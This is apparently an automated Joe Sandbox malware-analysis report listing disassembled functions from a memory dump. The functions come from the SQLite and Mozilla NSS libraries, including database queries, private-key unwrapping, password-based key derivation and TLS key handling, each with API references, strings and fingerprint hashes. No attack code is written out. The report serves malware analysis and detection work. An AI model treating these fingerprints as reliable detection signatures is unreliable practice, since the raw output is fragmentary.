Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 8e2624194d4ef67f9c44587d722357e0ba78aabd180b0ba510c722234843747a
Instruction ID: 4ca6a0c957ce84f00067efb57cecdd09fb18715e7d6ffd63607c5c1aa5ff49cd
Opcode Fuzzy Hash: 8e2624194d4ef67f9c44587d722357e0ba78aabd180b0ba510c722234843747a
Instruction Fuzzy Hash: 92222B726083614BD714CE28C49076AB7F6EB8631CF38462EE49587791E77D9C06CB93

Function 6CDD1C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDD1D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CDD1EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6CDD1FB7

Strings

no more rows available, xrefs: 6CDD2264
unknown error, xrefs: 6CDD2291
table, xrefs: 6CDD1C8B
sqlite_master, xrefs: 6CDD1C61
unsupported file format, xrefs: 6CDD2188
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6CDD1F83
sqlite_temp_master, xrefs: 6CDD1C5C
attached databases must use the same text encoding as main database, xrefs: 6CDD20CA
another row available, xrefs: 6CDD2287
abort due to ROLLBACK, xrefs: 6CDD2223

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: ac2213e64a29c452cbc31e198c6ef56d987fec6049d0851700cc239f45ccd27b
Instruction ID: 6c6deb6e9e519da953dc2b6681b26189420b545e25ae66ac1fdccd88ee631046
Opcode Fuzzy Hash: ac2213e64a29c452cbc31e198c6ef56d987fec6049d0851700cc239f45ccd27b
Instruction Fuzzy Hash: 6A12AD70A08201DFD705CF19C484A5ABBF2BF85318F1A856DE8959BB62D731FC46CB92

Function 6CDF5F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

-, xrefs: 6CDF6228
NOCASE, xrefs: 6CDF8703
sub-select returns %d columns - expected %d, xrefs: 6CDF805F
ON clause references tables to its right, xrefs: 6CDF6BEC
u, xrefs: 6CDF81DA
2, xrefs: 6CDF65B4
BINARY, xrefs: 6CDF8708, 6CDF8737, 6CDF87B8
-, xrefs: 6CDF62F9

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: d6f8bd81744c755d1fd2e57247f03d5c4fe0cbcefd255c19c1f9995791036772
Instruction ID: e06ec262820498bfdb927b0c9646fdfa743c3dcb5b97bab61409622cfdb75933
Opcode Fuzzy Hash: d6f8bd81744c755d1fd2e57247f03d5c4fe0cbcefd255c19c1f9995791036772
Instruction Fuzzy Hash: 1B436174608341DFD304CF25C490A5AB7E2BF89318F16865DE8E98BB66D731E847CB92

Function 6CE9EFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE9C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CE9DAE2,?), ref: 6CE9C6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE9F0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE9F0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6CE9F101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE9F11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CF6218C), ref: 6CE9F183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6CE9F19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE9F1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CE9F1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CE9F210

Part of subcall function 6CE452D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6CE9F1E9,?,00000000,?,?), ref: 6CE452F5
Part of subcall function 6CE452D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6CE4530F
Part of subcall function 6CE452D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6CE45326
Part of subcall function 6CE452D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6CE9F1E9,?,00000000,?,?), ref: 6CE45340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE9F227

Part of subcall function 6CE8FAB0: free.MOZGLUE(?,-00000001,?,?,6CE2F673,00000000,00000000), ref: 6CE8FAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6CE9F23E

Part of subcall function 6CE8BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CE3E708,00000000,00000000,00000004,00000000), ref: 6CE8BE6A
Part of subcall function 6CE8BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE404DC,?), ref: 6CE8BE7E
Part of subcall function 6CE8BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CE8BEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CE9F2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CE9F3A8

Part of subcall function 6CEDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEDC2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CE9F3B3

Part of subcall function 6CE42D20: PK11_DestroyObject.NSS3(?,?), ref: 6CE42D3C
Part of subcall function 6CE42D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CE42D5F

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 1053a0bb0db2c0a59ac04b9cdbb18ab0f348d5c3fc3941dbd9d7224eb0d852b9
Instruction ID: a20f5ca87d3df31602338adb3109ee38fa441044f1dca0850d825ef498be9871
Opcode Fuzzy Hash: 1053a0bb0db2c0a59ac04b9cdbb18ab0f348d5c3fc3941dbd9d7224eb0d852b9
Instruction Fuzzy Hash: 62D151B6E016059FDB14CF99D880AAEB7F5FF4830CF258129E915A7711E739E806CB50

Function 6CECDE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6CEA7FFA,00000000,?,6CED23B9,00000002,00000000,?,6CEA7FFA,00000002), ref: 6CECDE33

Part of subcall function 6CEF9090: TlsGetValue.KERNEL32 ref: 6CEF90AB
Part of subcall function 6CEF9090: TlsGetValue.KERNEL32 ref: 6CEF90C9
Part of subcall function 6CEF9090: EnterCriticalSection.KERNEL32 ref: 6CEF90E5
Part of subcall function 6CEF9090: TlsGetValue.KERNEL32 ref: 6CEF9116
Part of subcall function 6CEF9090: LeaveCriticalSection.KERNEL32 ref: 6CEF913F

Part of subcall function 6CECD000: PORT_ZAlloc_Util.NSS3(00000108,?,6CECDE74,6CEA7FFA,00000002,?,?,?,?,?,00000000,6CEA7FFA,00000000,?,6CED23B9,00000002), ref: 6CECD008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6CEA7FFA,00000000,?,6CED23B9,00000002,00000000,?,6CEA7FFA,00000002), ref: 6CECDE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6CECDEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CECE069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CECE121
PK11_FreeSymKey.NSS3(?), ref: 6CECE14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6CECE195
PR_GetCurrentThread.NSS3 ref: 6CECE1FC

Part of subcall function 6CEC2460: PR_SetError.NSS3(FFFFE005,00000000,6CF67379,00000002,?), ref: 6CEC2493

Strings

early application data, xrefs: 6CECDFC9
application data, xrefs: 6CECDFE0
handshake data, xrefs: 6CECDFF7
key, xrefs: 6CECE046

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 9dc526a4e6a5fb16681be11180f4cc81a2242b537314a422b112c921e94640c1
Instruction ID: d31c96e9ba74642b36166a3be94f510ce74d9bc170141268623e1bbc2ea781ec
Opcode Fuzzy Hash: 9dc526a4e6a5fb16681be11180f4cc81a2242b537314a422b112c921e94640c1
Instruction Fuzzy Hash: 24C11575B006059FDB04CF65CD82BAAB7B4FF09308F244129E9299BB51E331E955CBE2

Function 6CDBECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDBED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDBEE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDBEF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6CDBEF98

Strings

database corruption, xrefs: 6CDBF48D
%s at line %d of [%.10s], xrefs: 6CDBF492
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDBF483

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 258b217e534ab8d50f3d15f03c53a13de4e3691d92fae94d36cf6b9124a63caf
Instruction ID: 6fc88370089b9d5e966ad81e5365dc4acc37a4112518509f1a0af1ca3609b38f
Opcode Fuzzy Hash: 258b217e534ab8d50f3d15f03c53a13de4e3691d92fae94d36cf6b9124a63caf
Instruction Fuzzy Hash: 1162FFB8A04245CFEB04CF25C480B9ABBB1BF45318F18419DD8567BBA2D775E886CB90

Function 6CE5FC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6CE5FD06

Part of subcall function 6CE5F670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6CE5F696
Part of subcall function 6CE5F670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6CE5F789
Part of subcall function 6CE5F670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6CE5F796
Part of subcall function 6CE5F670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6CE5F79F
Part of subcall function 6CE5F670: SECITEM_DupItem_Util.NSS3 ref: 6CE5F7F0

Part of subcall function 6CE83440: PK11_GetAllTokens.NSS3 ref: 6CE83481
Part of subcall function 6CE83440: PR_SetError.NSS3(00000000,00000000), ref: 6CE834A3
Part of subcall function 6CE83440: TlsGetValue.KERNEL32 ref: 6CE8352E
Part of subcall function 6CE83440: EnterCriticalSection.KERNEL32(?), ref: 6CE83542
Part of subcall function 6CE83440: PR_Unlock.NSS3(?), ref: 6CE8355B

SECITEM_DupItem_Util.NSS3(?), ref: 6CE5FDAD

Part of subcall function 6CE8FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CE39003,?), ref: 6CE8FD91
Part of subcall function 6CE8FD80: PORT_Alloc_Util.NSS3(A4686CE9,?), ref: 6CE8FDA2
Part of subcall function 6CE8FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CE9,?,?), ref: 6CE8FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CE5FE00

Part of subcall function 6CE8FD80: free.MOZGLUE(00000000,?,?), ref: 6CE8FDD1

Part of subcall function 6CE7E550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE7E5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE5FEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6CE5FEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6CE5FED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CE5FF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CE5FF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6CE5FF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CE5FFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6CE60007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6CE60029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CE60044

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: 58942e9c829e72889af34da2c34a205dc5773b1e3b903d918a33847ddf8f2f76
Instruction ID: 6dc91f763088319a68c7ae86f615448974b5752c789fcec683efe0e48e30cc84
Opcode Fuzzy Hash: 58942e9c829e72889af34da2c34a205dc5773b1e3b903d918a33847ddf8f2f76
Instruction Fuzzy Hash: BEB1F371604301AFE304CF29C841A6AB7F5FF88318F648A2DE989C7B41E735E954CBA1

Function 6CE57D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6CE57DDC

Part of subcall function 6CE907B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE38298,?,?,?,6CE2FCE5,?), ref: 6CE907BF
Part of subcall function 6CE907B0: PL_HashTableLookup.NSS3(?,?), ref: 6CE907E6
Part of subcall function 6CE907B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CE9081B
Part of subcall function 6CE907B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CE90825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CE57DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6CE57F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6CE57F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6CE57F98
PK11_FreeSymKey.NSS3(?), ref: 6CE57FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE57FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6CE58000

Part of subcall function 6CE79430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6CE57F0C,?,00000000,00000000,00000000,?), ref: 6CE7943B
Part of subcall function 6CE79430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6CE7946B
Part of subcall function 6CE79430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6CE79546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE58110
PK11_FreeSymKey.NSS3(00000000), ref: 6CE5811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CE5822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CE5823C

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: ca9103d00e4dbead843f1043c2d0d7d2ab60f4b3d440d21ad89b9a9d8cea7e6b
Instruction ID: 0f0b13a1b3c2e7e9c9481d7ff8f8fb45008d74608ee849408e7ea564fd7abad6
Opcode Fuzzy Hash: ca9103d00e4dbead843f1043c2d0d7d2ab60f4b3d440d21ad89b9a9d8cea7e6b
Instruction Fuzzy Hash: 60C183B1D502199FEB21CF14CC40FEAB7B8AF05348F5081E9E90DA6641E7329EA5CF61

Function 6CE60EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CE60F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CE60FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CE61006
PK11_FreeSymKey.NSS3(?), ref: 6CE6101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE61033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE6103F
PK11_FreeSymKey.NSS3(00000000), ref: 6CE61048
memcpy.VCRUNTIME140(?,?,?), ref: 6CE6108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CE610BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CE610D6
memcpy.VCRUNTIME140(?,?,?), ref: 6CE6112E

Part of subcall function 6CE61570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6CE608C4,?,?), ref: 6CE615B8
Part of subcall function 6CE61570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6CE608C4,?,?), ref: 6CE615C1
Part of subcall function 6CE61570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE6162E
Part of subcall function 6CE61570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE61637

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: d0e300803544c49402fdffe91da71bd2d0e489e4c37661e193a9505a488471a1
Instruction ID: f232a67bf84bfd62ab89f80d4a2d869db05c95eea3341c5d40a6fbece80cc2f5
Opcode Fuzzy Hash: d0e300803544c49402fdffe91da71bd2d0e489e4c37661e193a9505a488471a1
Instruction Fuzzy Hash: 1571EFB1A502058FDB00CFE6CC85A6ABBB1FF4831CF24862DE90997B11E731D945CB91

Function 6CE81CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6CE81F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6CE82166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CE8228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CE823B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CE8241C

Strings

serial, xrefs: 6CE822A2
token, xrefs: 6CE81F2C
model, xrefs: 6CE823CB, 6CE823EC
manufacturer, xrefs: 6CE82179

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: 6d5f352924786c8d22ebc980fb09ea80badaa99c30525862a552ee6f9b0be3ae
Instruction ID: b6363c0293c0712ddb746195e2aec4e2e05a155cdadec3face99d88716290990
Opcode Fuzzy Hash: 6d5f352924786c8d22ebc980fb09ea80badaa99c30525862a552ee6f9b0be3ae
Instruction Fuzzy Hash: 49022CA2D0D7C86EF7328271C44D3D77AF09B5572CF68166EC6EE46783C3A899888351

Function 6CE86C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CE31C6F,00000000,00000004,?,?), ref: 6CE86C3F

Part of subcall function 6CEDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEDC2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CE31C6F,00000000,00000004,?,?), ref: 6CE86C60
PR_ExplodeTime.NSS3(00000000,6CE31C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CE31C6F,00000000,00000004,?,?), ref: 6CE86C94

Strings

gfff, xrefs: 6CE86D66
gfff, xrefs: 6CE86D30
gfff, xrefs: 6CE86CF5
gfff, xrefs: 6CE86D9C
gfff, xrefs: 6CE86CFD

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
